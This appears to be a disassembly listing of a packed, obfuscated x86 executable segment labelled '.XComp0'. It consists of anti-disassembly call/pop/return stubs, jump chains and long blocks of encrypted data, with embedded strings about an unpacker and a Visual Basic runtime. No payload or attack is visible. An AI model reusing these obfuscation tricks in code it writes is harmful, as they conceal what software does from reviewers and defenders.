		cmp	eax, 5AA99707h
		or	eax, [ebp+5F93539h]
		push	0
		call	dword ptr [ebp+5F91AEDh]
		mov	eax, eax
		jmp	short loc_5DA324
; ---------------------------------------------------------------------------
		dd 0A58629D4h, 89DF208h, 753736DAh, 1800B63Ch, 0D129D9CDh
		dd 99704A52h, 7940855Dh, 0FA0228B9h, 31EA0B4Ch,	9DBFDB2Fh
		dd 7609F3F3h, 6C0AEE8Ch, 0D045AC2Fh, 0A0161E21h, 54EFBE86h
		dd 2A6A8CBh, 450A9198h,	2ACC21EEh, 0D371CE26h, 735D3FAh
		dd 1D021DDFh, 835DB707h, 2AB22767h, 0BDB7E72Ch,	0FAE3B8A8h
		dd 1DD30243h, 0D450BB6Eh, 0BF1862C4h, 96DC0FB0h, 78CF66F4h
		dd 0B6243649h
; ---------------------------------------------------------------------------


loc_5DA324:				; CODE XREF: .XComp0:005DA2A6j
		lea	ecx, [ebp+5FFEE1Dh]
		jmp	loc_5DA33C
; ---------------------------------------------------------------------------
		align 10h
		dd 750EA883h, 561B6EBDh, 1CEF3682h
; ---------------------------------------------------------------------------


loc_5DA33C:				; CODE XREF: .XComp0:005DA32Aj
		mov	[ebp+5F90CDDh],	ecx
		adc	ax, 9925h
		jo	loc_5DA353
		mov	[ebp+5F906BDh],	ecx


loc_5DA353:				; CODE XREF: .XComp0:005DA347j
		mov	dword ptr [ebp+5F926C1h], 6728h
		push	0
		push	esi
		call	sub_5DA368
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DA368	proc near		; CODE XREF: .XComp0:005DA360p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_5DA368	endp

; ---------------------------------------------------------------------------
		test	al, 0C9h
		push	edi
		mov	edx, [ebp+5F926B5h]
		mov	dword ptr [ebp+5F900FDh], 0
		push	0
		push	edi
		call	sub_5DA396
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DA396	proc near		; CODE XREF: .XComp0:005DA38Ep

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_5DA396	endp

; ---------------------------------------------------------------------------
		dw 0BB68h
		dd 8166911Ah, 663992E6h, 0FF8238BFh, 0F9275DB5h, 25BD2905h
		dd 0E905F931h, 0Eh, 3F71E2F6h, 0A3EBEA85h, 0D94B22E6h
		dd 95FF074Fh, 5F920D5h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 0B2C35747h, 892F84F8h, 0F9071985h, 0F1BD8905h
		dd 6A05F907h, 0ED95FF00h, 8B05F91Ah, 57CEBC0h, 35E90BA1h
		dd 1D61C655h, 5EDC9724h, 457ED5C2h, 6F2C925Ah, 0B32A23C5h
		dd 0E18992B9h, 0A78D0948h, 4586C9E9h, 3E55BD92h, 77007BEDh
		dd 0C76E91F4h, 0A677A285h, 6F23F8A7h, 48CBB432h, 6F82B9C3h
		dd 3DD11A7Bh, 0B78D9900h, 850DDEC3h, 0CC6A15B0h, 396BD6A5h
		dd 25243BE9h, 0BA9A350Ch, 4D72215Ch, 0C86E588Ah, 24F8523Fh
		dd 3BF74600h, 0B68F13BAh, 46AA7FE1h, 2F36C259h,	0E8BF3DD6h
		dd 10h,	0B9D7381Eh, 25150DEEh, 7A3C1953h, 0FD489517h, 33D18166h
		dd 9D895828h, 5F909EDh,	74BAC081h, 0BD8B0000h, 5F9079Dh
		dd 68h,	0E95AF800h, 9, 0B7243DCDh, 0E082D050h, 234FF9Ah
		dd 65EB815Bh, 8B402F25h, 0F90E35BDh, 24F38105h,	8940BE6Ch
		dd 0F934A19Dh, 0DFF38105h, 0E9566EFAh, 14h, 0A7D8B012h
		dd 0F6B21B0Ah, 0BC3BA195h, 4A6DFECFh, 0ECB116C1h, 8B101C89h
		dd 0F92011BDh, 0FABF0F05h, 6004EA83h, 0B4DE8B66h, 0FA816129h
		dd 0FFFF8BE8h, 0FFA3850Fh, 860FFFFFh, 6, 315D9D89h, 65E905F9h
		dd 6E000001h, 0DD3A14ACh, 437C8360h, 5F6D5C3Ah,	61706E75h
		dd 72656B63h, 63617000h, 2E64656Bh, 657865h, 3Ah dup(0)
		dd 33000000h, 6E6E6143h, 6620746Fh, 20646E69h, 27732527h
		dd 6C50202Eh, 65736165h, 6572202Ch, 736E692Dh, 6C6C6174h
		dd 69687420h, 70612073h, 63696C70h, 6F697461h, 6854006Eh
		dd 54526E75h, 6E69614Dh, 765F5F00h, 61566162h, 74735472h
		dd 654Eh, 2 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5DCF53
; ---------------------------------------------------------------------------
		push	5FFF34Fh
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FFF494h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FFF62Bh
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FFF78Fh
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FFF7CEh
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FFF8B6h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FFF930h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FFF98Dh
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	60004FBh
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	60005D6h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	60006CFh
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	600082Dh
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	60008D0h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	60009E8h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	6000A91h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	6000B4Bh
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	600151Ah
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	6001678h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	6001783h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		db 16h
		dd 47AE56BBh, 11B468A7h, 3DA85CA7h, 14B3699Ch, 67BD5FA8h
		dd 0BA4D6D2Ah, 92796382h, 0A9608B6Ah, 0A26B5473h, 749F587Ah
		dd 23969509h, 9F18E186h, 0F83ED03Fh, 23AA638Ch,	9B409B44h
		dd 7BB6636Ah, 745760C9h, 0BA592095h, 299685BFh,	648A3F3Ch
		dd 0B176EF8h, 0BF70B4AEh, 0B36EB26h, 193DC6F4h,	8F110836h
		dd 25C9362Fh, 2036E3EAh, 4BF62BD8h, 9CAD6D10h, 0FF6E323h
		dd 2EDBCB9Eh, 0B21ADF08h, 0A979D80Ch, 6CDF6FA8h, 239CA90Dh
		dd 836C53ECh, 4995648Ah, 58B51AA5h, 849F51B6h, 926748D6h
		dd 9CA0F881h, 66887523h, 7DBAh,	547A8500h, 0CEA197B7h
		dd 0D87E8931h, 0A8A31A8Ch, 2CF3F7A8h, 0D339E029h, 0DAE07167h
		dd 0C572844Fh, 1FE4987Ch, 0A007ECDh, 35D92C8Dh,	8EF31812h
		dd 88936E2Fh, 239CCDF5h, 59A1B572h, 0DE98527Ah,	0A8ABDB6Fh
		dd 0D48508C1h, 0AABF5F00h, 0ED24C6AEh, 55CB41E8h, 0EA51227Ch
		dd 0F382C569h, 0D2239CCAh, 85572F3Bh, 5148D6E6h, 0BF126BA8h
		dd 0FA9D239Ch, 2C5FD905h, 0F61805F9h, 0FE2Ah, 638CFC00h
		dd 8CBF5F8Dh, 36FB6113h, 0E5E0090Bh, 4CA28FBh, 0CEEEF9F2h
		dd 0AF5B439h, 0E41323E0h, 0BFCE0FBh, 931ACF8Ah,	3AE22B94h
		dd 0BF8E2DDh, 0BE5D68EBh, 9A432995h, 0C926D173h, 29379D44h
		dd 0D19756CFh, 0ECE12C91h, 8962F43Dh, 17F6D7E0h, 3733C396h
		dd 33A447A1h, 5E0B8289h, 0C9B24193h, 8B6AF5D1h,	59669B46h
		dd 49209570h, 93BCA2A5h, 0B26F2F8Fh, 0BB4C7087h, 0DE709944h
		dd 0A24CB354h, 0B1789737h, 0B57C19Dh, 500E9D6h,	0E61744F1h
		dd 63299934h, 59847BA6h, 0CA6C3DB0h, 9D6A526Dh,	0AB5C8067h
		dd 0FD092650h, 344132BEh, 2561h, 0CD6FA23Dh, 9349C62Ah
		dd 0C77D8634h, 924ABB20h, 5C808733h, 0E00C4BC6h, 0ECD2F527h
		dd 0F3DAFD1Fh, 0E607EE16h, 2ACFF527h, 969290E9h, 98580D23h
		dd 5675608Ch, 0DC7742B3h, 299685A1h, 61A8611Eh,	5AB31CBBh
		dd 218F85A2h, 2C0CEE0h,	0FF0E24CAh, 2AD9FF69h, 0EDD23ADFh
		dd 6A6158EAh, 2FEC49EDh, 2F8F3CFFh, 89866A55h, 1D908D65h
		dd 9D17FF76h, 0A85B7D23h, 719E4225h, 0E9F5107Ch, 0F6E42B35h
		dd 0D6335C10h, 2A8F2848h, 0EFFFDADBh, 0F633h, 638C1500h
		dd 984423AAh, 54BEE952h, 0CA351F29h, 0AD20E926h, 95E39B26h
		dd 0B15C8129h, 0A1B68488h, 0CBB8F123h, 9E6112Bh, 0D51CE9D2h
		dd 44EDA82Ch, 0A30D2BACh, 0D3FA9851h, 1B3B5F21h, 41D227D2h
		dd 29966F38h, 3A26C8B5h, 49CB76ACh, 9E9B9CC0h, 81695656h
		dd 0B45A0F86h, 2F86DC77h, 0CD742F8Fh, 9CDDEB8Eh, 9BBB6823h
		dd 997EA663h, 0CF6CB033h, 7086DAFEh, 13862F4h, 988A9652h
		dd 91483529h, 0F7829168h, 741DA0A9h, 59907355h,	88D825Eh
		dd 8E2EBD51h, 6E66C379h, 56C01365h, 957C5026h, 0E34074C6h
		dd 9B140D6h, 0F27B1DFEh, 9A9BBEFDh, 241C8Bh, 38D9F800h
		dd 12FDE104h, 26DD0BEAh, 13F2D7FEh, 21E606F1h, 0ABE829FBh
		dd 0B114C83Fh, 0F9DC000Bh, 0E20537D2h, 6EC10FDh, 91572231h
		dd 6FD42396h, 0A7608CD1h, 7B409475h, 841E0603h,	0AB342D4h
		dd 0CE3FE103h, 8595E873h, 15122996h, 0ECDF201h,	1F965BB0h
		dd 0BA24B718h, 448D5C51h, 0F43EA8A0h, 856B0E4Dh, 3BE82996h
		dd 96855D20h, 0E42DDA29h, 0EA82D73Dh, 0CFC647A8h, 0FEFB21Ah
		dd 6DAE8BABh, 2F8F18B1h, 370237E4h, 9CE7611Ch, 0C9EFDE23h
		dd 865FEF3Ah, 9CE778FDh, 33D8F623h, 0F518B5C2h,	0A7B35A00h
		dd 0DFD861F7h, 0CF8A0BFAh, 0B492C03Fh, 48D6C738h, 5326350Ch
		dd 0D0239CDFh, 5BE743D3h, 3A000001h, 0EAEB1EBDh, 0F1191F2Fh
		dd 72A83EC5h, 519A72C7h, 0F6517C9Ah, 0C4EADAC0h, 6D61D1F0h
		dd 2FBF4C72h, 8F89F61Ch, 0B15C492Fh, 0EE838488h, 0EDE8855Eh
		dd 9CF84B2Eh, 16DBC823h, 0C5C843A9h, 0FC4F0214h, 49F8379Fh
		dd 0BD5E83DFh, 54FB5989h, 6D8AAF6Ch, 3235B84Bh,	5C0D808Dh
		dd 0F2688195h, 3E033E64h, 9475C1Dh, 0A2CD949h, 0C97EE2Dh
		dd 2374F06h, 0C233D6F5h, 82314CE7h, 0F1AE430Ch,	31E8955Dh
		dd 0F0E52AC6h, 0D6FFFB1Ch, 7DB4AF9Eh, 5CA55CD9h, 0BAFBEBFh
		dd 0BD5E3B43h, 430BAFBCh, 71854C39h, 93C05D82h,	430BAFEAh
		dd 0CA6FBA67h, 0AF99E46Fh, 7916430Bh, 0BAF9FDAh, 0AA5F1C43h
		dd 728DAA84h, 6138BD4Ah, 4CC11ECDh, 82E6D36Fh, 472E4753h
		dd 2285h, 71937E61h, 7FA56A86h,	6B917258h, 7EA65F8Ch, 70947357h
		dd 0BC205FD2h, 902E994Bh, 0BF1EC97Bh, 8A33924Ah, 0C6736183h
		dd 968FE495h, 4CEC6123h, 5578638Ch, 5A4B41B4h, 8E0159Bh
		dd 41F831F8h, 0EAC38DCBh, 0C85925DCh, 2A3C90E8h, 845467D5h
		dd 0A8472C3h, 24B62FBFh, 46B168B2h, 7B8832A9h, 0C46A9F7Ah
		dd 0C6259267h, 77975243h, 8EBD4ED4h, 9643BC2Fh,	8BAB7E6Fh
		dd 0A98EB673h, 0C525AC0Eh, 539E4B42h, 0C5F17DC3h, 0D182A83Eh
		dd 299685A8h, 0B2CB8825h, 2F299685h, 0C772B772h, 8598E172h
		dd 68152996h, 64AA69C6h, 0F22F8F9Eh, 1224E705h,	43103DEAh
		dd 0AAC6682Ch, 37D6F700h, 53DD4B17h, 0B498165h,	0B61ACCC2h
		dd 389F7A7Bh, 0A7827394h, 0D182B762h, 9C73FAA8h, 59D67825h
		dd 6D038CBAh, 5C806FA2h, 0CA6F66ABh, 0D6788B2Dh, 15A91C8Ah
		dd 7CBA7E56h, 6CAAD380h, 7A27967Bh, 7ABF7AAFh, 2AAB5E7Dh
		dd 1D6CDF6Fh, 0BD9C7832h, 7C719E42h, 827189ADh,	0C079B05Dh
		dd 0EA93C079h, 67907EA7h, 4FB5849Dh, 39F0BE94h,	0CE2A5300h
		dd 0FAA7907Eh, 0A3389554h, 0DADDD037h, 27D217F4h, 7ECE91ECh
		dd 0D8110E90h, 0CFFC0324h, 0FA2FD804h, 0E5389554h, 7ECE4336h
		dd 0EC3C090h, 1F8727ADh, 0EFF6FF2Ch, 2121h, 0D2FE2FDh
		dd 0D30906EAh, 73DC6F4h, 0D20AFBE0h, 9C40C7F3h,	0A04C0B86h
		dd 0AC12B567h, 0B31ABD5Fh, 0A647AE56h, 6A0FB567h, 968ED0A9h
		dd 0D8984D23h, 49AA638Ch, 0B5083089h, 0E281648Dh, 0BE000020h
		dd 8F36EE23h, 993CE02Fh, 0C530D42Fh, 9C3BE124h,	0F25D730h
		dd 205E592h, 3AD1FBDAh,	11F8E302h, 2AE30CEBh, 0EC27D0F2h
		dd 23968E91h, 0CE97590Eh, 76A4E46h, 94BAC642h, 20957855h
		dd 1BC61C8Ah, 0C8CD36A4h, 2330FD11h, 2F8EE4CBh,	0A4638766h
		dd 2675B76Dh, 826BC553h, 809B468Bh, 2995BE92h, 0D2319720h
		dd 10E80EDBh, 6E59FA13h, 8ABA4C45h, 1117D482h, 54FA540Eh
		dd 0AC129E08h, 0CA6FAA5Fh, 0CAB18642h, 4403E926h, 0F5D7C0D6h
		dd 24CA9F16h, 0F3EF2521h, 6AD14386h, 3EF5F964h,	0F7540EFEh
		dd 9E5366C9h, 1F668078h, 6556FEC6h, 1FE6D3CCh, 0E177E3EAh
		dd 0B6D380B9h, 5680FF0Ah, 11847F69h, 772A158h, 84750581h
		dd 657F7797h, 0D2344FE7h, 0DC05CCF9h, 0F113FAE3h, 0D724E906h
		dd 199FB19h, 0FAFDE809h, 0D600001Fh, 7EE16FBh, 0D1F428E7h
		dd 0FDE81CE7h, 0D4F329DCh, 27FD1FE8h, 0FA0DADEAh, 0D239A342h
		dd 0E920CB2Ah, 0E22B9433h, 34DF983Ah, 23968D49h, 0E85F21C6h
		dd 29968595h, 96951267h, 84FAD229h, 0AB791B7h, 1AC7B261h
		dd 57442996h, 0ACC97C92h, 6C29962Ah, 789E6553h,	960AA0D5h
		dd 416C6029h, 216BF0CEh, 8CED2ED3h, 9299631h, 0D2FBFA1Ch
		dd 640AE03Bh, 0E50EB508h, 1F8000h, 9C755C00h, 0AE617D68h
		dd 9A694F76h, 0AF568362h, 85826A8Dh, 0F4CC55Fh,	3DA85CABh
		dd 0DB86C9Fh, 3EA95BAEh, 0AB86CA1h, 8CCBAE6Dh, 0A3482396h
		dd 1469FFE5h, 371D19A4h, 0C178B15Dh, 7E6F9436h,	6DAE8BABh
		dd 2F8F5445h
		dd 0C5B86350h, 42239D45h, 4D2F8C45h, 55B0F171h,	1F23595Ch
		dd 0E0FF0000h, 4EC0B31h, 0CCEED90Bh, 0F9E20537h, 0CDEDD80Ch
		dd 0F130023Ah, 37ED1AC2h, 27DD2E90h, 38EC1DC0h,	27DD308Dh
		dd 1E5FFCBDh, 9B23968Ch, 31CE9236h, 5B0E7F8Ah, 860475A6h
		dd 84812996h, 965A8372h, 0BFDAC0DBh, 0AA498E84h, 0F9F8BDA4h
		dd 0F3F4F930h, 298153CAh, 32CBE2BAh, 22A1DC77h,	611E2996h
		dd 984225A8h, 94BF6A6Bh, 299622E9h, 9D3EB966h, 80759A36h
		dd 1F6D60A9h, 0E424FAE8h, 0EF18C43Bh, 38D3F9FEh, 0B09E5DF1h
		dd 2F3A1AD6h, 33DB4Dh, 99260000h, 0ADFD631h, 91E84EE4h
		dd 0F299685h, 52BA5FAEh, 0EA2AB01Bh, 0FA0FAE4Fh, 4BEB26F3h
		dd 0B59262F1h, 0BB2729F1h, 75D1E406h, 4431A46Dh, 1E5Dh
		dd 0AA638C7Ch, 0F921B723h, 1340F940h, 2996856Ah, 31143AE7h
		dd 2F8FA749h, 0C245A5C4h, 69B61ECBh, 4FE91470h,	3C053CF5h
		dd 9D305E1Fh, 0F32EDB23h, 9D301568h, 81959223h,	9B1583B7h
		dd 0C748A831h, 0D7DE13C6h, 0A512C702h, 633C346h, 0ED16C43Bh
		dd 2A1D31E8h, 29965C0Ch, 0D8FBE00Fh, 0C7A213F4h, 23C6C702h
		dd 41D52E9Ch, 20C908B2h, 39F0E5h, 0A4022A53h, 2FFAA71Dh
		dd 3ACDED0Ah, 53C0C9B3h, 0BE08369Bh, 0A65F8C73h, 5AD47A2Fh
		dd 0A3B7A3D7h, 50BF1F1Dh, 0BAC350A9h, 371DA3B7h, 9C6F4D4Ah
		dd 0B915C07Ah, 0B7C4B566h, 44411DA3h, 806B548Dh, 21947357h
		dd 5D0C8148h, 6E8930B9h, 5C9BBB50h, 5A047E74h, 0C2C96601h
		dd 690E8607h, 0CFAA6990h, 4C1DA3A9h, 0A9B9C44Fh, 8E2F1DA3h
		dd 0CC621F7Fh, 0A34B212Dh, 7479963Ah, 27B86CA5h, 46DD81B5h
		dd 44372h, 46CED400h, 0B5428013h, 4019B0F1h, 0C2A04FA5h
		dd 881E4AECh, 0AA10A752h, 1A855459h, 75C254B1h,	8EEBA4E6h
		dd 0ECD0FF2Fh, 0D039A41Bh, 1CC50CDDh, 28CE35A3h, 0C518B8BFh
		dd 0F72DE427h, 0FA1FF0D0h, 82EE1FDh, 0CB4534DFh, 0DBE4239Ch
		dd 3182C2F9h, 8096C52Ah, 77575581h, 61986198h, 9CB4C7B2h
		dd 0BC574423h, 239CB4C1h, 83AD413Eh, 0BDC05BA6h, 33239CB4h
		dd 9B887E85h, 0BE50B924h, 33EE34A2h, 95DA0228h,	75782529h
		dd 87BD4A72h, 568B7C60h, 8F0D70ABh, 56831DA3h, 0BC524FAFh
		dd 52798623h, 30A56885h, 6C3DB079h, 8EF487CAh, 0AA8F1DA3h
		dd 8EB9C44Fh, 49361DA3h, 660856A5h, 85667359h, 95444980h
		dd 0BD4A7281h, 87507B84h, 7425A867h, 7A9F99BDh,	9DBE617Dh
		dd 1DA38EDCh, 7A65AC59h, 0CB97B754h, 3FDC055Dh,	239CAC77h
		dd 248657BDh, 7DE643B1h, 0E6E697C4h, 0A66317A9h, 3ABB6890h
		dd 0A24B902Dh, 0C14A746Bh, 0EB28D108h, 17A9E692h, 0EFFE00Fh
		dd 0F717D287h, 0F625DC3Dh, 17A9E683h, 349C0300h, 0EFFFDADBh
		dd 0D4FCDF00h, 54FFF63Bh, 17A9E629h, 349A3B9Fh,	0CE03D6D7h
		dd 0DBFEE0C7h, 0BF9A1BF2h, 1D1A830Ah, 0AE936D31h, 6B62AD11h
		dd 7D6998BEh, 0B2CB88B1h, 2F17A9E6h, 0B00DDC72h, 0A040A75Dh
		dd 59BB7E6Fh, 8D7424C7h, 86658941h, 0B802886Ah,	21F310BAh
		dd 0EC3591Dh, 48D32ED3h, 17AA1935h, 1366F5B2h, 9017AA19h
		dd 1C917C61h, 0B31B844Dh, 4631BA5Ch, 8A6D60A5h,	0B024A966h
		dd 57D589D5h, 54B715A2h, 27B9861h, 7F17AA19h, 58A74782h
		dd 2570640Ah, 3A280454h, 25C928CEh, 4A2059FAh, 399617AAh
		dd 9608E1D4h, 1BFC20E9h, 0B4370B9h, 694B5FC1h, 0F89F5874h
		dd 0AD62F41Bh, 5CC32433h, 0CC521103h, 0DB1F2591h, 12AEF3Bh
		dd 7320000h, 0AA0F314Ch, 5DF1AE17h, 0A7608CD7h,	3C994126h
		dd 8AAF7A93h, 98BE516Dh, 8182684Fh, 49C02B0Ch, 5D898444h
		dd 2BD68381h, 96858DF0h, 0B000A29h, 897AF6DFh, 36C569A0h
		dd 7E8E8628h, 455E674Eh, 9B140D6h, 3CE51ECCh, 96155E1Fh
		dd 0E32EDB29h, 2558033Eh, 0A2299615h, 1AE751E5h, 4D2F2946h
		dd 0DCAF10Eh, 1C9158ABh, 0D7C3CA30h, 31F8205Ch,	0B2011Dh
		dd 0F8DC0000h, 83FCD7FDh, 0B6517991h, 8C65DB7Bh, 8623AA63h
		dd 85DDA0BBh, 0AD5A2996h, 88856A89h, 0CDEA8F05h, 0BF9A1BEEh
		dd 0EC82D02Fh, 1224EBD3h, 0F9E1FAE3h, 857CFD1Eh, 0CF92996h
		dd 0EAD50CC5h, 0D5840906h, 0E712F741h, 9685512Ch, 2F4A0929h
		dd 0AC299685h, 0FBE00FEFh, 0DA2FBF0Ah, 4D2F5906h, 4FBFh
		dd 69FF8900h, 0DB310831h, 0CBF3B54Fh, 91D07044h, 456DE076h
		dd 8B2F8F90h, 0CBC24B74h, 3865CB01h, 549DA2F1h,	484D3AC2h
		dd 51B616A1h, 0A2EB8ABDh, 75CA239Ch, 0FB31CC9Fh, 5C106307h
		dd 0CC4AA2A3h, 0D130C600h, 3D2FC185h, 29E848D6h, 3A000001h
		dd 828D31CEh, 0BE50B315h, 33EE34A2h, 25EA060Eh,	1764E8F3h
		dd 93795F63h, 0A3B3E629h, 8EC1DAB0h, 5E7F782Fh,	0AA579FAFh
		dd 419C4423h, 7FA56C97h, 89657858h, 8F5A0F86h, 75A65B1Eh
		dd 239CAA04h, 0BE5D8481h, 239CA9BBh, 4CAB4B38h,	799439A4h
		dd 506E89B0h, 0CF5F3ABBh, 62AD1116h, 0A7608C6Bh, 0B39FD626h
		dd 588661EBh, 55C02996h, 9CA9B3C6h, 0BE733023h,	68755998h
		dd 984C8586h, 0D6819547h, 8A5248h, 12AD0000h, 4BC42CABh
		dd 9F5A0F86h, 9C9E0974h, 75998623h, 266FFBFh, 0BBBC31DEh
		dd 23F6F70Eh, 16FE23EEh, 96384F70h, 43A98075h, 799D18E7h
		dd 28BE9FBCh, 717BA996h, 963AFED4h, 4FA57479h, 27E28FAAh
		dd 71581DA6h, 439A996h,	7A5C6F10h, 0DF6FB9C3h, 34AD3220h
		dd 46460DC9h, 29E08A9Ah, 0A0C349F0h, 0F560BF89h, 5F56B31Ah
		dd 9CAF3F8Ah, 2995B5C1h, 0AAD380B9h, 272995B5h,	2D1CD47Ah
		dd 0A2777E91h, 1910B567h, 70000000h, 798Ah, 0C98AAF00h
		dd 299685B0h, 8AC9702Dh, 299685EFh, 999FAF6Ch, 0BDA173CEh
		dd 34F106FEh, 458FEA09h, 0F0C2996h, 39CAF0FFh, 5B270C00h
		dd 80CAFAC2h, 4E72756Eh, 8CC60DA4h, 0BE39FCCDh,	35E4E91Eh
		dd 419D48FCh, 0C453C7CEh, 725C639Eh, 0CD6C7599h, 797C8932h
		dd 0BDBB8EA0h, 3D2995ECh, 8265689Bh, 9C3EAF5Ch,	0A3BD616Dh
		dd 4DB8219Eh, 3A0C5AA9h, 4D2FC4A6h, 10975Fh, 68FFA900h
		dd 0DC18BB32h, 64B341B9h, 1C1B927Bh, 896055AEh,	5459AE0Eh
		dd 530B57B6h, 5F8B74CDh, 808F2FA8h, 83438F6Eh, 0C4846CE9h
		dd 71AEh, 68FF7800h, 0A4401715h, 0A56CE452h, 923AC57Ch
		dd 0B9709743h, 78F6534h, 4126E0FDh, 0E29BAE40h,	9A2995F1h
		dd 952FE832h, 0D47A805Eh, 52BA5F1Ch, 0F4B1B694h, 0EBD3CC32h
		dd 2AD91224h, 0D30A00F1h, 0D586BB84h, 802265A4h, 5B4D4C2Fh
		dd 0AC12CF5Ah, 0B2A05FEFh, 5BAB18D4h, 0CBE8ECE4h, 3D7646FCh
		dd 84CE5AFCh, 11000003h, 2E8E45A6h, 0CC05D4D9h,	68FF142Ah
		dd 21320732h, 29968558h, 0AA1CF1CEh, 0CEE359FDh, 0C8FF8D46h
		dd 0E608E56Eh, 31CEC779h, 66A34A87h, 7E6FBA6Fh,	836C8BABh
		dd 66DA568Ah, 95E873CEh, 12299685h, 0C542AA15h,	52F0DC31h
		dd 50C4502Fh, 6AF7676Ah, 809CB218h, 56h, 68FF62h, 3CE52CDDh
		dd 520118C3h, 29968527h, 0C532F7A4h, 3DECE124h,	8DCE2319h
		dd 299685E9h, 5AAB10A7h, 0A13F3CB4h, 8DCE73CEh,	299685ECh
		dd 0A49ABC69h, 7CA55E8Ch, 9CB25983h, 0CE2E1296h, 8595E873h
		dd 15122996h, 3FF001h, 0AE490000h, 21F8FD12h, 68FF270Dh
		dd 8DCE0E32h, 299685E9h, 0CEAF6C89h, 4B299685h,	0CE75935Eh
		dd 0B5C6A173h, 0D0E32805h, 73CEF83Eh, 968595E8h, 1151229h
		dd 0D3BC8F2h, 7F8A31CEh, 0C2BB5B0Eh, 0A5DDE8DEh, 17C3626Ah
		dd 26EB20BEh
		dd 32DB04FBh, 0C8F1EEBBh, 0FA1F193Dh, 0B12EE1FDh, 9B5AFC07h
		dd 0CA45A932h, 0FFDDDAFFh, 827DEA0Ch, 0E2A4AD5Ah, 0F8D5D703h
		dd 0B641F815h, 2BFEEF14h, 0D803EC0Bh, 0ACA015F6h, 0F819E590h
		dd 0E029E098h, 0E91EBE39h, 6B611845h, 2FF5B73Ah, 0B45E92Ch
		dd 45C8255Fh, 56876750h, 585D9479h, 4F0F5BB2h, 7676646Bh
		dd 5E99B459h, 9A858C81h, 0DC7BFF32h, 39F0C1h, 0DADE0F0Ch
		dd 1526894Ch, 0F0C18964h, 11BB24E1h, 1026F3FAh,	3B063BE8h
		dd 0E8ED16C4h, 89572231h, 27D4F0C1h, 891861F2h,	0E895F0C1h
		dd 0BD1E1946h, 7C624548h, 533A1E8Fh, 38875707h,	709D422Ah
		dd 1BBA22D5h, 0D1AC67AEh, 4EF0C189h, 5C519851h,	4EBB229Dh
		dd 0B3ABAEA8h, 38D3F906h, 0CDFBE4B5h, 0F5E12036h, 0D34D3F7h
		dd 87A05807h, 648A1672h, 4BC22BCAh, 46C12996h, 0F10EB3B0h
		dd 40AF3FCAh, 78997B9Ch, 0F0DA4370h, 0ABF5070h,	0B01561E4h
		dd 2ED3F0C1h, 0C1B08CEDh, 0FA1C09F0h, 25DC0502h, 0C1B083F6h
		dd 0F30300F0h, 0A8638976h, 709D4225h, 8533AC7Dh, 11E6777Eh
		dd 0D0A719C5h, 9645AA82h, 7FCB739h, 7633BE7Bh, 8D5F3ABBh
		dd 0A11775DCh, 4BF63BDFh, 8C010AB4h, 0DF4B2EEDh, 0DBC8F0C1h
		dd 983F0016h, 942BD637h, 1653E32Ch, 3EABDF8Eh, 0DFD63995h
		dd 0E9CEBF0Ah, 12F3D805h, 0D534D6D7h, 0BF48D589h, 0A7349993h
		dd 0D60BC645h, 900500E9h, 0D30435D9h, 1FE23EAh,	411E30DBh
		dd 72A17656h, 0F0C1E007h, 0D7529784h, 0C2AAB807h, 0EB55F01Dh
		dd 0F7146CEh, 0CE5578ECh, 0F924C928h, 96051F5Ah, 2ADF9C29h
		dd 0FF4AFEF6h, 0DA143466h, 523AA666h, 597B502Fh, 0CD000000h
		dd 13F046CEh, 0ACE2A46Dh, 1347DE8Ah, 0BEC113EEh, 0F39BCDB0h
		dd 31366F5h, 93902996h,	8DCEBD83h, 299685E9h, 0E994BF6Ch
		dd 66299685h, 2EC970B9h, 61A6468Dh, 8174BD6Ch, 0CEB086A8h
		dd 0AB648C7Ah, 0D227127Dh, 96853841h, 3A96B529h, 0C009E0D5h
		dd 4E8A082Eh, 0B6000000h, 828D31CEh, 1C69F06Ch,	81846945h
		dd 69A04BEEh, 0B57CB564h, 8C73CE93h, 7623AA63h,	86096DE0h
		dd 7CA92996h, 8C73CECCh, 8A2FA65Fh, 9685B0C9h, 0B9702D29h
		dd 6A6BA03Eh, 8C999FAFh, 8976AB64h, 7831A45Fh, 2AAB5A7Fh
		dd 1259DF6Fh, 96BCE82Eh, 0EB162996h, 0F91DE6D4h, 0FFFBF9F8h
		dd 0D9CB41FFh, 0E598C36Eh, 6229958Eh, 0E70D4FA5h, 0CE61D777h
		dd 6F7F8A31h, 96859DDCh, 7D625D29h, 0BF5C1D90h,	299685BEh
		dd 73834E3Bh, 94A60F7h,	29968570h, 21C730EDh, 14F527E2h
		dd 379841ABh, 0FCFB1BD6h, 0F9C035CEh, 856A1340h, 1DE72996h
		dd 0B3B08023h, 30C60BF3h, 95E35C1Dh, 1EEBD229h,	0A92C9097h
		dd 890CC540h, 48164433h, 3C878DB2h, 3AE59B07h, 0D200FF0Fh
		dd 0F113F0DAh, 0FE0DAF48h, 0BD359958h, 26ED3A9Eh, 32E72284h
